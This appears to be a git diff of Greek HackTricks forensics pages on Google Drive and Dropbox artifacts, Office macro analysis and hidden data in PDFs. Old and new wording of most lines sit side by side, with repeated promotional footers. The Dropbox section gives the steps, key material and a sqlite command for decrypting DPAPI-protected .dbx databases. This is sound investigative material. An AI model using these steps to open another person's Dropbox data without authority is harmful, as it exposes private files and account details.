Στα Windows, μπορείτε να βρείτε τον κύριο φάκελο Google Drive στο `\Users\<username>\AppData\Local\Google\Drive\user_default`\
Αυτός ο φάκελος περιέχει ένα αρχείο που ονομάζεται Sync\_log.log με πληροφορίες όπως τη διεύθυνση email του λογαριασμού, ονόματα αρχείων, χρονικές σφραγίδες, MD5 hashes των αρχείων, κ.λπ. Ακόμα και τα διαγραμμένα αρχεία εμφανίζονται σε αυτό το αρχείο καταγραφής με το αντίστοιχο MD5.
Το αρχείο **`Cloud_graph\Cloud_graph.db`** είναι μια βάση δεδομένων sqlite που περιέχει τον πίνακα **`cloud_graph_entry`**. Σε αυτόν τον πίνακα μπορείτε να βρείτε το **όνομα** των **συγχρονισμένων** **αρχείων**, την τροποποίηση του χρόνου, το μέγεθος και το MD5 checksum των αρχείων.
Το αρχείο **`Cloud_graph\Cloud_graph.db`** είναι μια βάση δεδομένων sqlite που περιέχει τον πίνακα **`cloud_graph_entry`**. Σε αυτόν τον πίνακα μπορείτε να βρείτε το **όνομα** των **συγχρονισμένων** **αρχείων**, τον χρόνο τροποποίησης, το μέγεθος και το MD5 checksum των αρχείων.
Τα δεδομένα του πίνακα της βάσης δεδομένων **`Sync_config.db`** περιέχουν τη διεύθυνση email του λογαριασμού, τη διαδρομή των κοινόχρηστων φακέλων και την έκδοση του Google Drive.
Τα δεδομένα του πίνακα της βάσης δεδομένων **`Sync_config.db`** περιέχουν τη διεύθυνση email του λογαριασμού, τη διαδρομή των κοινών φακέλων και την έκδοση του Google Drive.
## Dropbox
Η Dropbox χρησιμοποιεί **βάσεις δεδομένων SQLite** για τη διαχείριση των αρχείων. Σε αυτήν\
Το Dropbox χρησιμοποιεί **βάσεις δεδομένων SQLite** για να διαχειρίζεται τα αρχεία. Σε αυτό\
Μπορείτε να βρείτε τις βάσεις δεδομένων στους φακέλους:
* `\Users\<username>\AppData\Local\Dropbox`
@ -62,75 +63,76 @@
* Deleted.dbx
* Config.dbx
Η επέκταση ".dbx" σημαίνει ότι οι **βάσεις δεδομένων** είναι **κρυπτογραφημένες**. Η Dropbox χρησιμοποιεί το **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
Η επέκταση ".dbx" σημαίνει ότι οι **βάσεις δεδομένων** είναι **κρυπτογραφημένες**. Το Dropbox χρησιμοποιεί **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
Για να καταλάβετε καλύτερα την κρυπτογράφηση που χρησιμοποιεί η Dropbox μπορείτε να διαβάσετε [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
Για να κατανοήσετε καλύτερα την κρυπτογράφηση που χρησιμοποιεί το Dropbox, μπορείτε να διαβάσετε [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
Ωστόσο, οι κύριες πληροφορίες είναι:
* **Εντροπία**: d114a55212655f74bd772e37e64aee9b
* **Αλάτι**: 0D638C092E8B82FC452883F95F355B8E
* **Αλγόριθμος**: PBKDF2
* **Επαναλήψεις**: 1066
* **Entropy**: d114a55212655f74bd772e37e64aee9b
* **Salt**: 0D638C092E8B82FC452883F95F355B8E
* **Algorithm**: PBKDF2
* **Iterations**: 1066
Εκτός από αυτές τις πληροφορίες, για να αποκρυπτογραφήσετε τις βάσεις δεδομένων χρειάζεστε ακόμα:
Εκτός από αυτές τις πληροφορίες, για να αποκρυπτογραφήσετε τις βάσεις δεδομένων χρειάζεστε επίσης:
* Το **κρυπτογραφημένο κλειδί DPAPI**: Μπορείτε να το βρείτε στο μητρώο μέσα στο `NTUSER.DAT\Software\Dropbox\ks\client` (εξαγάγετε αυτά τα δεδομένα ως δυαδικά)
* Τα **`SYSTEM`** και **`SECURITY`** hives
* Τα **κλειδιά μετατροπής DPAPI**: Τα οποία μπορείτε να βρείτε στον φάκελο `\Users\<username>\AppData\Roaming\Microsoft\Protect`
* Το **όνομα χρήστη** και **κωδικό πρόσβασης** του χρήστη των Windows
* Το **κρυπτογραφημένο κλειδί DPAPI**: Μπορείτε να το βρείτε στο μητρώο μέσα στο `NTUSER.DAT\Software\Dropbox\ks\client` (εξάγετε αυτά τα δεδομένα ως δυαδικά)
* Τις **hives** **`SYSTEM`** και **`SECURITY`**
* Τα **master keys DPAPI**: Τα οποία μπορούν να βρεθούν στο `\Users\<username>\AppData\Roaming\Microsoft\Protect`
* Το **όνομα χρήστη** και τον **κωδικό πρόσβασης** του χρήστη Windows
Στη συνέχεια μπορείτε να χρησιμοποιήσετε το εργαλείο [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
Στη συνέχεια, μπορείτε να χρησιμοποιήσετε το εργαλείο [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
![](<../../../.gitbook/assets/image (443).png>)
Αν όλα πάνε όπως αναμένεται, το εργαλείο θα υποδείξει το **κύριο κλειδί** που χρειάζεστε για να **χρησιμοποιήσετε για την ανάκτηση του αρχικού**. Για να ανακτήσετε τον αρχικό, απλά χρησιμοποιήστε αυτό το [cyber\_chef receipt](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) βάζοντας το κύριο κλειδί ως "passphrase" μέσα στο receipt.
Αν όλα πάνε όπως αναμένεται, το εργαλείο θα υποδείξει το **κύριο κλειδί** που χρειάζεστε για να **χρησιμοποιήσετε για να ανακτήσετε το αρχικό**. Για να ανακτήσετε το αρχικό, απλώς χρησιμοποιήστε αυτή τη [συνταγή cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) βάζοντας το κύριο κλειδί ως την "passphrase" μέσα στη συνταγή.
Το αποτέλεσμα σε hex είναι το τελικό κλειδί που χρησιμοποιείται για την κρυπτογράφηση των βάσεων δεδομένων τα οποία μπορούν να αποκρυπτογραφηθούν με:
Το προκύπτον hex είναι το τελικό κλειδί που χρησιμοποιείται για την κρυπτογράφηση των βάσεων δεδομένων που μπορεί να αποκρυπτογραφηθεί με:
```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
```
Η βάση δεδομένων **`config.dbx`** περιέχει:
The **`config.dbx`** database contains:
* **Email**: Το email του χρήστη
* **Email**: Η διεύθυνση email του χρήστη
* **usernamedisplayname**: Το όνομα του χρήστη
* **dropbox\_path**: Διαδρομή όπου βρίσκεται ο φάκελος του dropbox
* **Host\_id: Hash** που χρησιμοποιείται για πιστοποίηση στο cloud. Αυτό μπορεί να ανακληθεί μόνο από το web.
* **dropbox\_path**: Διαδρομή όπου βρίσκεται ο φάκελος dropbox
* **Host\_id: Hash** που χρησιμοποιείται για την αυθεντικοποίηση στο cloud. Αυτό μπορεί να ανακληθεί μόνο από το διαδίκτυο.
* **Root\_ns**: Αναγνωριστικό χρήστη
Η βάση δεδομένων **`filecache.db`** περιέχει πληροφορίες για όλα τα αρχεία και φακέλους που συγχρονίζονται με το Dropbox. Ο πίνακας `File_journal` είναι αυτός που περιέχει τις περισσότερες χρήσιμες πληροφορίες:
The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information:
* **Server\_path**: Διαδρομή όπου βρίσκεται το αρχείο μέσα στον διακομιστή (αυτή η διαδρομή προηγείται από το `host_id` του πελάτη).
* **local\_sjid**: Έκδοση του αρχείου
* **local\_mtime**: Ημερομηνία τροποποίησης
* **local\_ctime**: Ημερομηνία δημιουργίας
Άλλοι πίνακες μέσα σε αυτή τη βάση δεδομένων περιέχουν περισσότερες ενδιαφέρουσες πληροφορίες:
Other tables inside this database contain more interesting information:
* **block\_cache**: hash όλων των αρχείων και φακέλων του Dropbox
* **block\_ref**: Σχετίζει το hash ID του πίνακα `block_cache` με το αναγνωριστικό αρχείου στον πίνακα `file_journal`
* **mount\_table**: Κοινοποιημένοι φάκελοι του Dropbox
* **block\_ref**: Σχετίζει το hash ID του πίνακα `block_cache` με το ID του αρχείου στον πίνακα `file_journal`
* **mount\_table**: Κοινόχρηστοι φάκελοι του dropbox
* **deleted\_fields**: Διαγραμμένα αρχεία του Dropbox
* **date\_added**
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# Ανάλυση αρχείων γραφείου
# Ανάλυση αρχείων Office
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %}
Για περαιτέρω πληροφορίες ελέγξτε το [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Αυτό είναι απλώς ένα σύνοψη:
Για περισσότερες πληροφορίες ελέγξτε [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Αυτό είναι απλώς μια περίληψη:
Η Microsoft έχει δημιουργήσει πολλές μορφές εγγράφων γραφείου, με δύο κύριους τύπους να είναι τα **μορφότυπα OLE** (όπως RTF, DOC, XLS, PPT) και τα **μορφότυπα Office Open XML (OOXML)** (όπως DOCX, XLSX, PPTX). Αυτά τα μορφότυπα μπορούν να περιλαμβάνουν μακρό, καθιστώντας τα στόχους για phishing και κακόβουλο λογισμικό. Τα αρχεία OOXML είναι δομημένα ως αρχεία zip, επιτρέποντας την επιθεώρηση μέσω αποσυμπίεσης, αποκαλύπτοντας τη δομή του αρχείου και του φακέλου και τα περιεχόμενα του αρχείου XML.
Η Microsoft έχει δημιουργήσει πολλούς τύπους εγγράφων office, με τους δύο κύριους τύπους να είναι οι **μορφές OLE** (όπως RTF, DOC, XLS, PPT) και οι **μορφές Office Open XML (OOXML)** (όπως DOCX, XLSX, PPTX). Αυτές οι μορφές μπορούν να περιλαμβάνουν μακροεντολές, καθιστώντας τις στόχους για phishing και κακόβουλο λογισμικό. Τα αρχεία OOXML είναι δομημένα ως zip containers, επιτρέποντας την επιθεώρηση μέσω αποσυμπίεσης, αποκαλύπτοντας τη δομή αρχείων και φακέλων και το περιεχόμενο αρχείων XML.
Για να εξερευνήσετε τις δομές αρχείων OOXML, δίνεται η εντολή για αποσυμπίεση ενός εγγράφου και η δομή εξόδου. Έχουν καταγραφεί τεχνικές για την κρυψίνευση δεδομένων σε αυτά τα αρχεία, υποδεικνύοντας συνεχή καινοτομία στην κρυψίνευση δεδομένων στις προκλήσεις CTF.
Για να εξερευνήσετε τις δομές αρχείων OOXML, παρέχονται η εντολή για την αποσυμπίεση ενός εγγράφου και η δομή εξόδου. Τεχνικές για την απόκρυψη δεδομένων σε αυτά τα αρχεία έχουν τεκμηριωθεί, υποδεικνύοντας συνεχιζόμενη καινοτομία στην απόκρυψη δεδομένων εντός προκλήσεων CTF.
Για ανάλυση, τα **oletools** και το **OfficeDissector** προσφέρουν πλήρεις συλλογές εργαλείων για την εξέταση τόσο των εγγράφων OLE όσο και των εγγράφων OOXML. Αυτά τα εργαλεία βοηθούν στην αναγνώριση και ανάλυση ενσωματωμένων μακρών, τα οποία συχνά λειτουργούν ως διανομείς κακόβουλου λογισμικού, κατά κανόνα λήψη και εκτέλεση επιπλέον κακόβουλων φορτίων. Η ανάλυση των μακρών VBA μπορεί να πραγματοποιηθεί χωρίς το Microsoft Office χρησιμοποιώντας το Libre Office, το οποίο επιτρέπει την αποσφαλμάτωση με διακοπτές και μεταβλητές παρακολούθησης.
Για ανάλυση, τα **oletools** και **OfficeDissector** προσφέρουν ολοκληρωμένα σύνολα εργαλείων για την εξέταση τόσο των εγγράφων OLE όσο και των OOXML. Αυτά τα εργαλεία βοηθούν στην αναγνώριση και ανάλυση ενσωματωμένων μακροεντολών, οι οποίες συχνά χρησιμεύουν ως διαδρομές για την παράδοση κακόβουλου λογισμικού, συνήθως κατεβάζοντας και εκτελώντας επιπλέον κακόβουλα φορτία. Η ανάλυση των VBA μακροεντολών μπορεί να πραγματοποιηθεί χωρίς Microsoft Office χρησιμοποιώντας το Libre Office, το οποίο επιτρέπει την αποσφαλμάτωση με σημεία διακοπής και παρακολουθούμενες μεταβλητές.
Η εγκατάσταση και η χρήση των **oletools** είναι απλές, με εντολές που παρέχονται για την εγκατάσταση μέσω pip και την εξαγωγή μακρών από εγγράφα. Η αυτόματη εκτέλεση των μακρών προκαλείται από λειτουργίες όπως `AutoOpen`, `AutoExec`, ή `Document_Open`.
Η εγκατάσταση και η χρήση των **oletools** είναι απλή, με εντολές που παρέχονται για την εγκατάσταση μέσω pip και την εξαγωγή μακροεντολών από έγγραφα. Η αυτόματη εκτέλεση μακροεντολών ενεργοποιείται από συναρτήσεις όπως `AutoOpen`, `AutoExec` ή `Document_Open`.
```bash
sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros
@ -38,21 +39,22 @@ olevba -c /path/to/document #Extract macros
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,52 +1,54 @@
# Ανάλυση αρχείων PDF
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε AWS hacking από το μηδέν έως τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pdf-file-analysis" %}
**Για περισσότερες λεπτομέρειες ελέγξτε:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
Η μορφή PDF είναι γνωστή για την πολυπλοκότητά της και τη δυνατότητά της να κρύβει δεδομένα, κάτι που την καθιστά εστίαση για προκλήσεις ψηφιακής ανάλυσης στον τομέα των CTF. Συνδυάζει στοιχεία κειμένου με δυαδικά αντικείμενα, τα οποία ενδέχεται να είναι συμπιεσμένα ή κρυπτογραφημένα, και μπορεί να περιλαμβάνει σενάρια σε γλώσσες όπως το JavaScript ή το Flash. Για να κατανοήσετε τη δομή των PDF, μπορείτε να ανατρέξετε στο [εισαγωγικό υλικό](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) του Didier Stevens, ή να χρησιμοποιήσετε εργαλεία όπως έναν επεξεργαστή κειμένου ή έναν επεξεργαστή PDF όπως το Origami.
Η μορφή PDF είναι γνωστή για την πολυπλοκότητά της και την ικανότητά της να αποκρύπτει δεδομένα, καθιστώντας την κεντρικό σημείο για προκλήσεις CTF forensics. Συνδυάζει στοιχεία απλού κειμένου με δυαδικά αντικείμενα, τα οποία μπορεί να είναι συμπιεσμένα ή κρυπτογραφημένα, και μπορεί να περιλαμβάνει σενάρια σε γλώσσες όπως JavaScript ή Flash. Για να κατανοήσετε τη δομή του PDF, μπορείτε να ανατρέξετε στο [εισαγωγικό υλικό του Didier Stevens](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), ή να χρησιμοποιήσετε εργαλεία όπως ένας επεξεργαστής κειμένου ή ένας ειδικός επεξεργαστής PDF όπως το Origami.
Για εμβάθυνση ή επεξεργασία PDF, υπάρχουν διαθέσιμα εργαλεία όπως το [qpdf](https://github.com/qpdf/qpdf) και το [Origami](https://github.com/mobmewireless/origami-pdf). Τα κρυμμένα δεδομένα μέσα στα PDF ενδέχεται να είναι κρυμμένα σε:
Για σε βάθος εξερεύνηση ή χειρισμό PDF, είναι διαθέσιμα εργαλεία όπως το [qpdf](https://github.com/qpdf/qpdf) και το [Origami](https://github.com/mobmewireless/origami-pdf). Τα κρυμμένα δεδομένα μέσα σε PDF μπορεί να είναι κρυμμένα σε:
* Αόρατα επίπεδα
* Μορφή μεταδεδομένων XMP από την Adobe
* Επιμέρους γενιές
* Κείμενο με τον ίδιο χρωματισμό με το φόντο
* Κείμενο πίσω από εικόνες ή επικαλυπτόμενο με εικόνες
* Σχόλια που δεν εμφανίζονται
* Σταδιακές γενιές
* Κείμενο με το ίδιο χρώμα όπως το φόντο
* Κείμενο πίσω από εικόνες ή επικαλυπτόμενες εικόνες
* Μη εμφανιζόμενα σχόλια
